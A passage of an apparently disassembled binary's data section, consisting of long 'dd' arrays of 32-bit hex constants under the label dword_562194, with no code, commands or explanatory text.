		dd 0B3EC92h, 480565DEh,	0D70325B9h, 84BE4F00h, 0C6B42436h
		dd 0C08200C2h, 0E5DAB2E8h, 8EC0F57Ch, 92B3E085h, 72C30060h
		dd 917EB439h, 48003135h, 9F966C53h, 7A2D7D2h, 69450768h
		dd 2A645019h, 0F00E205h, 0D03A5FF2h, 89316Fh, 731126B0h
		dd 4462DE22h, 2EBD1A0Eh, 9B41806Bh, 0E52557h, 4A2430E3h
		dd 0E9271084h, 2E65BD00h, 0FBAC9901h, 350D2E38h, 51AB8068h
		dd 0CFDB5CB4h, 55166CF6h, 0DB001181h, 0D43B16A5h, 22CC00ACh
		dd 3F1EBE32h, 0FF004740h, 18B8A063h, 7F68E82h, 8B879CF7h
		dd 16AE01Eh, 44019011h,	6C491DF0h, 84722FFh, 18557870h
		dd 0DC400084h, 0E0AA104Ch, 5E606047h, 0C138DE91h, 94561D20h
		dd 0B8FD4055h, 405FE369h, 10A16032h, 0C3E4EB4Ah, 8EC5C0C9h
		dd 0B29C091Ah, 0D20012D4h, 2F3D4926h, 0D1DAC00h, 0EEB87250h
		dd 0E9C0002Dh, 0B6BDB5A2h, 161D629Fh, 46CAEA37h, 10004099h
		dd 5B2CE095h, 72E5A094h, 1C850FAEh, 7B878DE2h, 3924A196h
		dd 0E448CDA3h, 4506E627h, 54BD3FE5h, 5EC60590h,	907FE18Bh
		dd 6B48402Ch, 5AA30A0h,	5C02E9FCh, 0E2E5E0E4h, 0C0148075h
		dd 1F1EB78Ch, 0C9D903C2h, 835ED3BFh, 9A80861Eh,	0A231C02Ch
		dd 148FA26h, 65F35EB3h,	60C92D21h, 0AA00AE08h, 54831DFEh
		dd 2C6846h, 0B993729Fh,	0FD6CFC80h, 153E6400h, 0EC8DB38Ch
		dd 39ED00F4h, 9B4BC1A8h, 980E7613h, 0A3129177h,	8070D13Fh
		dd 704D7F9Ch, 0E12E39E7h, 0F8E38A00h, 3D79385h,	6D4ED300h
		dd 0C143BCD5h, 0F0481859h, 0B9611A04h, 30ABBF26h, 1B3CBD80h
		dd 0A086372Ch, 749E1EACh, 21AA6090h, 271C6EE2h,	0F7B24607h
		dd 0C8E1A8DFh, 1960A5DDh, 21FD009Fh, 0E5357C5Ch, 0D201F996h
		dd 0EC34E63h, 0A050DC07h, 16D2FA0h, 0C21AAE79h,	9602B55Dh
		dd 0AC400408h, 76D17F5h, 7A5F0180h, 0A9D6F95Eh,	0C4808398h
		dd 1DC356E4h, 1A5F7F58h, 0FCEB2038h, 28CD073h, 37301BA0h
		dd 12169066h, 1C72DEh, 0BE75FC4Bh, 0E103D16Ah, 595B84CDh
		dd 2A34887Bh, 749D0D33h, 2069DE39h, 5100E8D4h, 34FD1960h
		dd 0E8FBE148h, 49E40D4h, 9DE81307h, 7AA36DEBh, 7B000DCh
		dd 0DE332616h, 0EA3F52C1h, 6FA00336h, 94962741h, 0E0019D07h
		dd 0A5AAE59Eh, 0A8A1E107h, 3346E0F5h, 0C6A30021h, 8E5BA99Ch
		dd 0FD1822F7h, 0C249D38Ah, 0A2023052h, 0B981A610h, 2FF83400h
		dd 2193E88Bh, 71FAFBh, 9AE0C9B6h, 0F232D8A6h, 5720E200h
		dd 6A139FFh, 898A000Eh,	0A46BF5FAh, 6C0FE4D8h, 802A15ECh
		dd 0A72196AEh, 173700B2h, 6EEB4677h, 8400927Ch,	0FB580A53h
		dd 0F65D689Eh, 0E72F00AEh, 0CAC09D4Dh, 0C275FD4Eh, 25E5CF03h
		dd 90A253FBh, 61CC5h, 97F3B7BBh, 0C3FC3836h, 402B7400h
		dd 814A90AEh, 937A0F49h, 0F2E1CE89h, 9FBDE707h,	0C100F930h
		dd 0A6A5FB17h, 395807E0h, 0E029527Ch, 8FB673C6h, 1AEC184Ch
		dd 6030CF5Ah, 39BD1AAh,	3B5EB53Eh, 0BCF0CDDBh, 28CF2D40h
		dd 60DF8E52h, 3B46E139h, 56CB006Bh, 0FA37E911h,	3F4FB908h
		dd 6800B0ECh, 75C9F7Ah,	0BB0FF2F0h, 6ED9F937h, 107DC08Ah
		dd 143CF1DCh, 40F3B4EBh, 0BC3E4F80h, 6D00331Dh,	38503FF8h
		dd 40DE6F1Fh, 8A1F6AF4h, 0E8DCA7D0h, 0E5CB5340h, 11CEBF3h
		dd 459FA04Eh, 50C421FAh, 0CB386E80h, 7369C300h,	50830F9Dh
		dd 5F433D7Bh, 1C4ED9E0h, 16012DF6h, 511AF874h, 0B570F7E0h
		dd 0F0FA625Bh, 0C0A0EFFEh, 3644C4B4h, 0A4E85100h, 0CE9B7A38h
		dd 11461873h, 0B5B19209h, 0DC9878C3h, 4B7AE813h, 0E5AE001Ch
		dd 7B8910ABh, 8F0A722Fh, 9C57DC1Bh, 0FA99AF00h,	1FDB515h
		dd 67883E5Dh, 0F04F2E0Ch, 0F700DDA2h, 41528A63h, 0E8B15A3h
		dd 75BE44DAh, 786BFDC0h, 9FE2A267h, 809829C9h, 0C04BF4EAh
		dd 58D70007h, 27D48B32h, 401E3A3h, 8A62AD4Ch, 7A817A14h
		dd 6BBF09F2h, 0B376E0C6h, 5D8D890Eh, 62F7618Ah,	5980A1C1h
		dd 0DCD68F36h, 0E50009DBh, 0AB3A709Fh, 37721FE4h, 0C048882Eh
		dd 1DF39277h, 318CA0A0h, 5B71958h, 74C620A1h, 80773008h
		dd 0D56818DEh, 88013C69h, 0E9C4254Ch, 0CBCC946Fh, 0E8E70078h
		dd 0C379F691h, 19C17A61h, 8AAFF772h, 1006F910h,	0E78D3E1Dh
		dd 0B08E6F8Ch, 8A083ABBh, 129B973Bh, 0F3E076CDh, 450FDA7Fh
		dd 402B8F21h, 419B0C2Dh, 0D1B4008Ch, 84E19CCDh,	80957E01h
		dd 3E26360h, 0CB120E3Bh, 7DE06D36h, 7E055C5Fh, 0B1A2B800h
		dd 821D855Eh, 2BD00BAh,	24D28141h, 3A00D4E4h, 209F4EB9h
		dd 0B25C72h, 0D164B025h, 0BF74E65Bh, 79C77E03h,	0A3C9AD38h
		dd 73210EE4h, 5140E613h, 0A9B33C0Dh, 2B006B98h,	89BF41C0h
		dd 78321BAh, 0BDD4B163h, 81254064h, 8200CA95h, 62EFDC29h
		dd 0D37850Ah, 0E33C2BDAh, 0B0298040h, 0C77C0477h, 92BA068Ah
		dd 2082325Bh, 20B8CE06h, 297A03h, 73E54BC4h, 0A7783BBCh
		dd 7974F573h, 20C0B8EEh, 5E5A3B9h, 0DC6700A4h, 3065273Dh
		dd 91E6436Eh, 0AAEF3B18h, 0BDF558h, 0C8D9921Bh,	0F053ABB7h
		dd 80DA4530h, 1F51E2EEh, 401AC209h, 6F5A77D6h, 3717DF7Ch
		dd 8D1DB976h, 0AAC5AE03h, 63C0984Bh, 0DC3A005Bh, 0B0FBCDDDh
		dd 0E6011A6Ch, 6338FB7h, 0B02E535Ah, 0D91C748Ah, 84C0A559h
		dd 0D7D65245h, 0FAFB0008h, 2429E586h, 0A64C2D6Fh, 4B4600BAh
		dd 400C7D2Ch, 5F850034h, 11613791h, 89EAE8AFh, 9000D2ECh
		dd 10077422h, 77B5F0h, 24EA58FEh, 1198600Eh, 807C863Ah
		dd 0BEE0A347h, 4FFCF8h,	6DDD038h, 690E21E3h, 632E9D00h
		dd 1388AE3Bh, 487A00F8h, 0C92899BAh, 9A3CCAD7h,	27B300F6h
		dd 665F45A6h, 983204C7h, 80E1DEF0h, 0E7D393F6h,	8C838638h
		dd 88B635Ch, 2421C0E2h,	0CB9AD299h, 0A7F76801h,	5F46C5C3h
		dd 0AE073C0h, 0E3493B15h, 0A6430383h, 37D8271Fh, 0F2FE7255h
		dd 49DB1731h, 0CAF46CDDh, 11C1608Ch, 68593BBEh,	0FC7D4401h
		dd 35754BF0h, 0C0E2D3D0h, 56628120h, 1D003332h,	0E9F5EC65h
		dd 60AC023Eh, 0B6435899h, 0DD01196Bh, 1A623D37h, 68F01815h
		dd 90EC33DAh, 0A2E13E70h, 5918804Eh, 0BF178DA1h, 281A00FAh
		dd 0C9C88C26h, 8B755AB8h, 6C7B7E00h, 30565743h,	0F6C100C0h
		dd 65F32ED8h, 110014B6h, 0B9CD61C4h, 412001h, 53795762h
		dd 7C637A0Bh, 0D2F53Bh,	0AF7487A4h, 0FBC6082h, 14BD4ACh
		dd 0A1779700h, 7B003399h
dword_562194	dd 0B28F6795h, 0FE1CC7D8h, 214307A8h, 903A14E1h, 74E4C6D2h
		dd 9CEC3300h, 3937BCAFh, 7A833EB4h, 8A5A100h, 6EAC5F09h
		dd 4EB69200h, 6A736C2Eh, 0FCDE180Ah, 0A6110876h, 77DC20C0h
		dd 1D15042Dh, 408299C0h, 6A0610E3h, 0BA1C7419h,	4142354Ah
		dd 0FFBCB14Bh, 0DB26B101h, 6C9EDCB0h, 44AC6203h, 3CDD8B8Fh
		dd 0CE025650h, 38471599h, 0EFB8BD60h, 30B69A3Ah, 3CAF21A6h
		dd 0E9BA0F15h, 98CFC167h, 2C5872E0h, 13186D92h,	7960DA7Ah
		dd 0C6D80A5Eh, 568E47Ch, 200CA5A0h, 0D02E4A70h,	0C38A743Dh
		dd 880A7E22h, 0BCF23C73h, 62B3C300h, 75F70FDh, 0CDB94758h
		dd 6F38339Dh, 0DE985100h, 54106DE9h, 0EE900A74h, 44AC9FD7h
		dd 2E4B6009h, 22741077h, 8084C80Dh, 0E3C7089h, 0FB79A5C7h
		dd 14A9733Ah, 1CA4481Dh, 0D64C7CC0h, 0B251A7h, 6408ECE7h
		dd 11A9999Fh, 0D908A066h, 0E6520021h, 2E33D5ECh, 3C0A6F42h
		dd 0A872B913h, 0B5AE300h, 0B08FD49Eh, 34B80739h, 5ABA965h
		dd 919801E8h, 809EB44Eh, 0D7E66EC8h, 16EEAEh, 0F6B63618h
		dd 11DF5BFh, 80759239h,	8F734EF1h, 9A1C76h, 70E1ACEh, 0E10DC685h
		dd 0A62E3918h, 3F18091Ah, 800040D8h, 7C9C97DCh,	96F65CA5h
		dd 9E14E600h, 0CA2CF94Eh, 0E3D017Ah, 0D016CDC0h, 0F69E8002h
		dd 0E9A4385Ch, 7DC9000Ah, 0D191E104h, 0FBF23B71h, 2361E00h
		dd 21261DDBh, 50CF00A9h, 8A73D99Ch, 70001511h, 9E5DA8C7h
		dd 0EBACE5h, 0BA4DA4A3h, 0A93943BEh, 66DD3D00h,	958A497Fh
		dd 3FE7679h, 963CDC01h,	6BA02A81h, 130F5A17h, 3E0BD6CEh
		dd 0BD005E1Eh, 75D5B219h, 29740784h, 402F6EA1h,	34F007D2h
		dd 819A6300h, 518026DCh, 97443174h, 80951450h, 31CE7A59h
		dd 6D9982h, 59C9D5E1h, 368E1869h, 9F091018h, 7D95329h
		dd 0C95ABE34h, 92890133h, 0BB83E964h, 27E49D21h, 84F56030h
		dd 36BC3195h, 850B7211h, 0D5F42A88h, 0BEA28780h, 0CAFD13A7h
		dd 0CB4B0064h, 96BD5D1Eh, 86DF0503h, 3CC6F4h, 6A162FC8h
		dd 50459C2Dh, 4E054800h, 28469FBh, 7FD0072h, 0E2BDBB59h
		dd 400DD85h, 0AA549C09h, 76BF962h, 89037A53h, 33E4F1A3h
		dd 802FC123h, 0CF0B97B0h, 50BD6Fh, 0D30F0730h, 79F26787h
		dd 3206367h, 0C7D128F0h, 0F5BD01F7h, 4D49D445h,	849143A0h
		dd 0B080A9E2h, 924416AFh, 0F157AE30h, 63E6E445h, 90FFC022h
		dd 3A285103h, 88C214F1h, 0D78548h, 0CCD95E9Dh, 0E4094BDFh
		dd 2FEAC700h, 0C23E1E7Eh, 0BFB93826h, 47336080h, 0C422D92Dh
		dd 8F529E0Fh, 0C75540A4h, 5C1AEEh, 969D6509h, 499BB792h
		dd 0D9930500h, 314CB233h, 0FB101B55h, 91C03030h, 0AD18FE51h
		dd 0E010540Fh, 0B08C0718h, 80C6ED67h, 77DB319Bh, 0CA638900h
		dd 30B35415h, 464E0199h, 3965248Eh, 6794E049h, 7526D301h
		dd 82C2663Bh, 1E6AD860h, 40AB9EB1h, 0E247BE04h,	4A00E143h
		dd 52E6CC99h, 3B0263h, 67852550h, 440965EEh, 4B42A100h
		dd 0D5F6F21Ch, 626F012h, 30A603F0h, 3C00B94Ah, 0DA4E59A3h
		dd 3B7B1CDFh, 1630E84Fh, 0D9F9E020h, 4B9C8118h,	1EF3FEF0h
		dd 8052F829h, 98037E93h, 0AD0068AFh, 41D896C6h,	0E50520h
		dd 4088BC22h, 0D5F31619h, 950044F8h, 0F09FE8B0h, 67370Bh
		dd 3123DEF1h, 0BD845B69h, 0C50EFDFAh, 80FEA4E5h, 23DF0DD0h
		dd 5BF012h, 46E478F9h, 28D606F3h, 2A827E03h, 0F6E8EBAFh
		dd 0DAD10048h, 0DD2EC0Eh, 0BD00FF74h, 5BEB7336h, 0F06A889h
		dd 0E0DC55D7h, 8D1F5440h, 0B161E528h, 251A683Eh, 81D09891h
		dd 0B8A15B70h, 4C13B871h, 8321000Dh, 0AADD5BA3h, 4800D18Bh
		dd 0BD8137D5h, 0D8E0FA6Ah, 0D2ADC090h, 9916B637h, 32B98380h
		dd 958E03C9h, 7D6ADD84h, 3BC240AFh, 0CE00DF0Eh,	96C94A61h
		dd 242A910Ah, 18EDB877h, 84435150h, 9EE76705h, 0A80F8118h
		dd 478CC076h, 73EA3D8Eh, 1B5C05BEh, 50F40AB6h, 9009CE8Ch
		dd 1E007E84h, 39E733Eh,	0B0A0EAE8h, 0CF00B4D1h,	0C3529390h
		dd 3BE6E15h, 51B8019Dh,	0AA00FE1Ah, 793D07E3h, 0F4AE345Ah
		dd 0C99C00D2h, 1F86DCD8h, 9200D346h, 8A3E7EF0h,	168C85h
		dd 5478BC69h, 102E0317h, 2007DE0h, 3412EE31h, 0EA30528h
		dd 0F9E7D1A1h, 74F85560h, 780036D0h, 294C97D4h,	3BD375h
		dd 11633A1Eh, 3E69E2C3h, 0F713B100h, 540B17B3h,	0AA7C1FD2h
		dd 925A804Dh, 4B7991F4h, 0ECC9F02Ch, 30470900h,	0F240F7h
		dd 20BF506h, 0C468E44h,	0B12E20C0h, 1917708h, 0AF564559h
		dd 606F216Ah, 0F400AA98h, 6E1A6D5Eh, 3728967h, 0FEC72E2Ch
		dd 5FA32B26h, 0AFDC5BC8h, 8F1CE239h, 80144740h,	0D3848591h
		dd 1D0130FCh, 25AE5828h, 4490D402h, 80A43562h, 0BF4D00Ch
		dd 0E81000D9h, 4EA28BB4h, 0DA00EF86h, 20D82D73h, 1FE809Eh
		dd 41A8A6C7h, 0FCFF757Fh, 4CF016C0h, 0A0C44930h, 7185F081h
		dd 2D7400D3h, 0C3471CEEh, 51077F34h, 9EDEB1C5h,	2ACA93h
		dd 2D0F8278h, 93FF0658h, 0D4D19C00h, 0D2567267h, 1BCA0281h
		dd 41B6A6DAh, 0B0E541E0h, 0E6B5D01h, 612FDCA4h,	0BC79C40h
		dd 914F3E81h, 0D18E6C84h, 0D98BC60Ah, 0AA18C3B0h, 4910129Eh
		dd 95DB0151h, 831ECFBh,	0F8A04030h, 0A400056Ch,	0D69AB004h
		dd 3F3B4DFFh, 0C189C945h, 0F2804119h, 0DD4CE447h, 4FE81760h
		dd 0A70E01h, 0E9928DEBh, 0D1F721F1h, 1BC9B91Fh,	0F2F028C0h
		dd 0F63C8FDAh, 72B00227h, 0B8750C45h, 0D5C6E057h, 50660095h
		dd 8EC35DDFh, 1A003BB7h, 0A8F9412Ch, 573724h, 0F3149042h
		dd 0FFA004D3h, 4DD21A00h, 0A58541F5h, 0A9BE00FCh, 825B1019h
		dd 5E00B4C1h, 51EC8E9Eh, 631389D7h, 0DDC41808h,	20F14BD1h
		dd 48F0C5A3h, 61AD9C00h, 73FA08F7h, 857E00B6h, 63927657h
		dd 0C37F100Eh, 8F179400h, 2A037EEh, 6DA21FF7h, 78E7D8F1h
		dd 0C888E4A1h, 0A6AC0136h, 401F2C55h, 0A8F886F3h, 0C171D7h
		dd 4B38D507h, 2DF14D3Ah, 0F61EFA03h, 0A9690B87h, 86817E75h
		dd 0F9A9BC9Bh, 49B88106h, 0A8D23D79h, 0E2F32F0h, 587E400Ch
		dd 56692860h, 0DE7C35CBh, 0F8077B77h, 0EFE6A3Bh, 0F7988980h
		dd 0A7540E91h, 409F9765h, 99A1DA8Ch, 0DDF49FA0h, 873D8874h
		dd 0CF9407B3h, 54C08C61h, 1E83AF23h, 3935C22h, 0A05D6269h
		dd 16BA4002h, 60F8B871h, 3C8D5284h, 14803644h, 0A841F09Ch
		dd 960CFBFEh, 40828F02h, 0EAE7B76h, 9A84F863h, 0F3336480h
		dd 6B015767h, 0CC399415h, 7880A1E1h, 0CDC3BB2Ah, 0EE1DE569h
		dd 920095F2h, 9AC44AE3h, 2970A4Ch, 5B2C229Bh, 94B021E8h
		dd 0E5ABA8C3h, 0B1F00626h, 0C163C57Ch, 0B7A74B00h, 9D1068AAh
		dd 4E2C0D93h, 0C4F86679h, 0E2051B04h, 9549B322h, 0C5449840h
		dd 0E6F7D834h, 768E003Eh, 0F0D14FF6h, 0BA002183h, 8D33F431h
		dd 0D8C254h, 0F984428Eh, 86931C6Dh, 0EA194B73h,	2D70289Ch
		dd 2452F8C1h, 19EE2E96h, 3D8CCD20h, 2F51BEBCh, 0CA520D0h
		dd 0BA81B9C0h, 7F128D23h, 89AA2451h, 7F2E028Ch,	0A4817687h
		dd 0C7CBA54Ah, 7B6985E0h, 333CB000h, 0E4101858h, 190007Dh
		dd 960737D9h, 0FD0013E9h, 0EC5E2A7Ah, 1435689Ch, 84692DC8h
		dd 0A227EE00h, 0C079EDB5h, 2ED4A402h, 8CC77F77h, 0CE68BCh
		dd 0E0C467E1h, 73060914h, 24A96500h, 0A73E6D2Eh, 0C6771FCEh
		dd 79E60BA6h, 44878Ah, 0B77F3835h, 93036154h, 0BBD18414h
		dd 0BFE0059Eh, 0F8A49D94h, 0B28000DAh, 0C4882A7h, 5A4702DAh
		dd 0AD8E4A12h
		dd 0AC811448h, 0EBE07500h, 39FBDBC0h, 0FD94013Dh, 48521501h
		dd 530BB53h, 25C8147Dh,	64E414h, 68550BC5h, 7DAD0E93h
		dd 0D2F694h, 43893022h,	1B2D8E96h, 1166EB30h, 0D3B972h
		dd 3D8A6FE9h, 2E344F26h, 0ABCFA300h, 2A5A701Dh,	0A8D100C6h
		dd 5937C9Eh, 0F90313CEh, 3F926516h, 6297EF4Eh, 5CA95A11h
		dd 5D6DECh, 9287AD7h, 60D82ECh,	0C0123705h, 6BC0AD23h
		dd 7EA2AD4h, 0D0C37A88h, 6139B01Bh, 0ED00E86Eh,	35C7C6B2h
		dd 37EB40h, 0A49AFC11h,	30CAE0ECh, 43719100h, 0F724621Bh
		dd 0F38008Ah, 7761758Bh, 0C40F4694h, 736B439Eh,	0FFAD00FBh
		dd 0D863B9B2h, 6F267600h, 31EC705h, 6CD03BD9h, 4D7C3000h
		dd 8516E9BBh, 0A0D7F001h, 7D4B54CBh, 0DE33288Fh, 7FED3FE0h
		dd 0FC1C9FEAh, 0C680FAA8h, 0A7BE789Dh, 31CF1555h, 9B1EA8E0h
		dd 9E07BA67h, 5BB78Fh, 6A1D48F0h, 55F2EA00h, 0D0ED0B42h
		dd 58430086h, 0D11697ADh, 0D703E621h, 7224ABC7h, 9E19F18Ah
		dd 0A1F64880h, 42DB507Bh, 16622600h, 6F08A006h,	411C2889h
		dd 2E7AECE0h, 0CEA2B5h,	366D1EE3h, 5B0011AFh, 5ACC4F49h
		dd 0F7EB0F4h, 960C8D72h, 6ABD2160h, 0F1000E43h,	0F54ABB44h
		dd 1919809h, 33DC37FFh,	0D7E2AD18h, 0EE8EB8F8h,	0BC668C00h
		dd 6594D530h, 2C6D008Ah, 55F0F3B6h, 214BDF5h, 4E05AB3h
		dd 0D0DD4948h, 7919BC0h, 0CFE700A7h, 0D36388AEh, 5008595h
		dd 9AB52078h, 0F52C874h, 0DBA8033Ah, 0F9623600h, 0DA00615Dh
		dd 4EFBB0EBh, 322ECCh, 0D47F5285h, 1016F3A0h, 80E5452Eh
		dd 3A5AA100h, 3E340FDh,	49FB60F6h, 7DB072BCh, 1F003829h
		dd 0C66D68C0h, 6410F9h,	0CC6C1509h, 67A8E330h, 80AE4F3Eh
		dd 71893742h, 1F0178Fh,	0ECABF80Fh, 807EBEAFh, 76FF647Eh
		dd 0E1110Ch, 0A050BAA2h, 1795EC04h, 62124BFCh, 0A840059Ch
		dd 78D146B5h, 0FA9A00B2h, 0A00B71EAh, 0D6008723h, 603B1C47h
		dd 0A4F10Fh, 50B0E05Bh,	447DABE1h, 75B82700h, 5F249C5Ch
		dd 0D0E8F7D6h, 0D4E049EDh, 200414Ch, 0F6D2F2AAh, 0A477EEC4h
		dd 4B3511Fh, 153D68C0h,	57DBF0h, 3E54108Ch, 5ACBF1FBh
		dd 3D892E3Dh, 4D6B00A4h, 0B76C0A79h, 247B034Eh,	0E1539AB6h
		dd 0DB01F1B0h, 0C3D1424h, 95CEFD00h, 39649E74h,	0BC00FE52h
		dd 37809D2Eh, 34380EF0h, 93B680E6h, 26AC2901h, 88B00A6h
		dd 51C95590h, 34099F40h, 8922C83Dh, 2E005F5Ah, 4EBBF4EAh
		dd 0D9FBF102h, 0E0C3CAB8h, 1DC2B48h, 137A8DA4h,	21848A75h
		dd 252C4084h, 504844D7h, 0DB930064h, 0EB35925Bh, 5882004Ah
		dd 0FB2A5CF6h, 7F076EBBh, 59C5A581h, 0E1F2E550h, 0A2AB00BEh
		dd 94B89EE9h, 0AA1D17CCh, 80FC9AD4h, 57441D3Dh,	0E21AC38h
		dd 0FA34880Ah, 0E7F39780h, 54003B85h, 0D18677ECh, 90FFB8Ch
		dd 751FF1F0h, 0CEF50000h, 0A307EEDEh, 0CBACE444h, 0E6A004Eh
		dd 0FB1778h, 91C550EDh,	33DDD06h, 0E4879900h, 1A2B62B3h
		dd 40100EEh, 827039A4h,	0DAE0A2F3h, 0A6C3D500h,	0D667E61Eh
		dd 989763D7h, 39D87B1Dh, 0DE0163AAh, 0F7FD07B9h, 1187DF12h
		dd 10040D5Fh, 5C9DDAE2h, 0DDE7CB1Fh, 7B184000h,	0FF3CFF0h
		dd 6EAFCE91h, 8025A047h, 363BAC6Ah, 0EB427900h,	92F2B246h
		dd 0F61F0170h, 51D40B0Fh, 304AC9FEh, 2424793Ch,	0BE07D887h
		dd 5710C578h, 903CF975h, 0E7FA0114h, 16EB63A7h,	5102030h
		dd 0DD62F61Eh, 1AC081BCh, 0A0568210h, 4123830h,	0F314A8D9h
		dd 9674C0FCh, 0D4492291h, 4D084898h, 0DC680210h, 63C5E63Fh
		dd 8059FF61h, 2802BF0Ch, 0DE6F0288h, 0B6EAD20Ch, 2D3D5044h
		dd 473780D0h, 2F98FC46h, 67000FAh, 25247166h, 0DB01E2E4h
		dd 0EF0CE175h, 0D8244C87h, 408886D1h, 8712CD76h, 9443A235h
		dd 0D0A07053h, 531A4E9h, 4C179D93h, 0C6E4079Bh,	6C1BD03Ah
		dd 3EE6E536h, 58EE030Fh, 8C0240BCh, 6E91C3h, 0A4AD78BFh
		dd 421F86C2h, 70123500h, 4DBD3B66h, 0C86D0E82h,	0E7A7D2A2h
		dd 3EA4E059h, 6501C66Ah, 8B1BF1F9h, 0CFF49C6Fh,	0B9F5043Bh
		dd 0C144815Ah, 242F8E0Ch, 0DDE4EFCCh, 0D45FAC01h, 55067684h
		dd 0B43FC8D7h, 49E900AEh, 165AF298h, 0D600F42Bh, 88D5557Dh
		dd 98D131DAh, 0A4A80EF1h, 0A0E0031Dh, 443BFF22h, 20172100h
		dd 0EBBFEE27h, 7BD001Ch, 0CB8AC248h, 0F1008CE4h, 42643C68h
		dd 30FAE2h, 0D3EEE6ADh,	61111BE3h, 0D6CD160Ah, 7800AC1Fh
		dd 1AA2BCA8h, 6608012Eh, 161C170Ah, 0C9E450ABh,	2C9044E4h
		dd 88003677h, 7EF002C4h, 36E1704h, 7595E767h, 57D827A5h
		dd 7D2CFE31h, 0E080905Fh, 5935D6B3h, 5BD48FAh, 23FEA204h
		dd 7DA0D0EBh, 9200A8E8h, 7B021748h, 0DAC813h, 0DC35105Bh
		dd 0BE9D4442h, 2F8F2B13h, 5A4BC061h, 37D4E300h,	92CF5000h
		dd 0D19A1BD9h, 532700B1h, 0A8D57DF5h, 0A700A50Fh, 94228D59h
		dd 24C720D2h, 602CAFC6h, 63AB0946h, 0E9AC3200h,	0FB9B4781h
		dd 0AAA03B0Dh, 531ED980h, 64612CD1h, 0A4E32A1Fh, 5F01DEAEh
		dd 0AB27715Eh, 398797ECh, 0C980E288h, 0F22E2803h, 3BF2CFBCh
		dd 61DF271Ch, 0C3E39DBCh, 30C17083h, 40CDF229h,	405A2Ch
		dd 25EE9014h, 0CBA2E891h, 0F17C3DE0h, 95291E00h, 0F74BCFBFh
		dd 0E2F27Dh, 0B833761Ah, 942DB287h, 0F37FE500h,	1302EFA0h
		dd 8A5300D4h, 0FFC3056Eh, 32000674h, 0CC01A470h, 717584D0h
		dd 0DCD81439h, 2F2CBCA7h, 8A32D8A0h, 0E0082485h, 0A249196Dh
		dd 0DB0E6414h, 0FCCE01C0h, 3CA2947h, 52011466h,	0B2A01DECh
		dd 0D4246195h, 8824C1E0h, 69001449h, 0E4F8C2Bh,	0CCA103D4h
		dd 0CDEC7744h, 0B8A87900h, 5A6D3C41h, 20246A19h, 1F801D48h
		dd 0A64FC905h, 204884A0h, 0F217E9B1h, 0E046771h, 8880E2C9h
		dd 7E0A6F0h, 98C2D10Ch,	0DCE9106Dh, 900A4BBh, 0A3F5126h
		dd 935D2EDh, 6D0B9E05h,	14490480h, 0BD032D9Ah, 0B642A22Ah
		dd 0ED5EA89Bh, 13960EDAh, 0F8B8CF34h, 0F3F2F9DFh, 0A5282B60h
		dd 5A66EDh, 0E4EF22E2h,	8D952508h, 38920E00h, 0DA450610h
		dd 86972455h, 780962A8h, 0C582BC68h, 62B8E160h,	1C7E8DBh
		dd 0C2D6FBB1h, 40710739h, 616B23CCh, 0C57FEB01h, 25315FCCh
		dd 5304DC33h, 9060AE02h, 6B0999C4h, 27C49B0Fh, 0E91D0FDDh
		dd 74AC1671h, 0E8F1837Eh, 75CC22A7h, 0A562E700h, 9482FA24h
		dd 7E9F003Fh, 0F606EA78h, 2D007DF0h, 36C9CA07h,	0D7B31Dh
		dd 0D52EB4E8h, 0AFCBEB3Ah, 25462E3h, 76D2CC5Eh,	9E3CA430h
		dd 0C9B04087h, 8C7948h,	12B93A95h, 0EBC074FAh, 0F4256F00h
		dd 0CFF796C1h, 0B47C0FADh, 6920A344h, 3EB5C9CBh, 310223Eh
		dd 65BA9015h, 0C79F98EFh, 0CAAC07FBh, 70C4F442h, 3B217B19h
		dd 35C5CB00h, 0AE889F1Bh, 0D2763F2Bh, 80CCC328h, 7BEDBBh
		dd 41854FF5h, 0D73CB945h, 0B4A34000h, 0E468F684h, 281F1D8Fh
		dd 9103FE51h, 0A21582A5h, 327535D0h, 8E425603h,	90627F44h
		dd 11E5C11h, 0B4E1672Dh, 0C4A63331h, 0FF01783Ch, 970DF7C6h
		dd 0E243EE51h, 0F9928018h, 765D021Ah, 378E272Eh, 9A004058h
		dd 3B0CAD3Fh, 7A0819FCh, 799E3A8Bh, 0F84DFD82h,	3051384Bh
		dd 2751400h, 0EFCE054h,	1AA83644h, 0F39A5140h, 7700AECAh
		dd 2AED1FB3h, 1FDBD404h, 0C6AFDD73h, 11D8F7B1h,	6F878407h
		dd 0A08ED002h, 0D52D58DCh, 0A1C82619h, 0E27380E0h, 249ECBF4h
		dd 6D676902h, 0C0257F6Ch, 78169DE4h, 0A4E63057h, 146D4611h
		dd 0FF00ABE0h, 0C94AA954h
		dd 3D5387Ch, 913445E8h,	81C0D7A2h, 3058B5Bh, 84B860B4h
		dd 4FF03380h, 361409E4h, 8057E11Eh, 8B3FE201h, 8503004Ah
		dd 35C7AC80h, 2F056760h, 879CDF6Dh, 0E6EF28D0h,	782B004Eh
		dd 69AD969h, 0BB199076h, 1968E0EEh, 390CCCh, 444D6699h
		dd 7F1E8A9Bh, 89540812h, 5DD67C81h, 0B8CB2843h,	7428EC2Ch
		dd 0E5F914C9h, 0FE08144Dh, 0BB00DC7Ch, 91172F92h, 0AF5C13A0h
		dd 40F71FEAh, 42F38435h, 933FE196h, 2F4F0033h, 3A5305C8h
		dd 1A0C0002h, 3DA38E67h, 0D5074314h, 8E75F39h, 27407CE0h
		dd 964C018Dh, 0EFDE6D31h, 1FF5D4E0h, 0CE4E3B00h, 4F7A43BBh
		dd 514A00A2h, 250A2A7Dh, 0A1C09041h, 16473DC8h,	48A3006Ah
		dd 83A0191Bh, 0F000FCD2h, 383513ADh, 30E559h, 32B2F4F9h
		dd 4521778Dh, 9319BE01h, 96BA643h, 8E552840h, 185CF24Ch
		dd 0D89C7933h, 0EA48ABA7h, 845C50DCh, 69BC7B00h, 40A939C7h
		dd 0E4710C0Eh, 0F121EAFEh, 7974DA00h, 0BC33EEA6h, 34010018h
		dd 0AFE1155Ch, 0EA1E13DCh, 0B10045FDh, 308E7588h, 0F2D60087h
		dd 0D7DF6E37h, 1800048Fh, 5042243Bh, 1E10EB68h,	1886705h
		dd 0E5CF9E7Ch, 0EE2C4D8h, 6493F3A0h, 0D898302Ah, 1B01E49h
		dd 0CB05BDB9h, 0F6DBF21Ah, 0C7E700E1h, 0E1045B67h, 6C020B48h
		dd 3539B85Fh, 0A5F340F0h, 0EBBD90A2h, 0E276BD30h, 9625038Ch
		dd 0FBFCF343h, 5EBE6FC8h, 0C0026EAh, 71BFFAB1h,	877D21h
		dd 44708337h, 13310F2h,	0D4BD4100h, 62FCF1B7h, 84D61DE0h
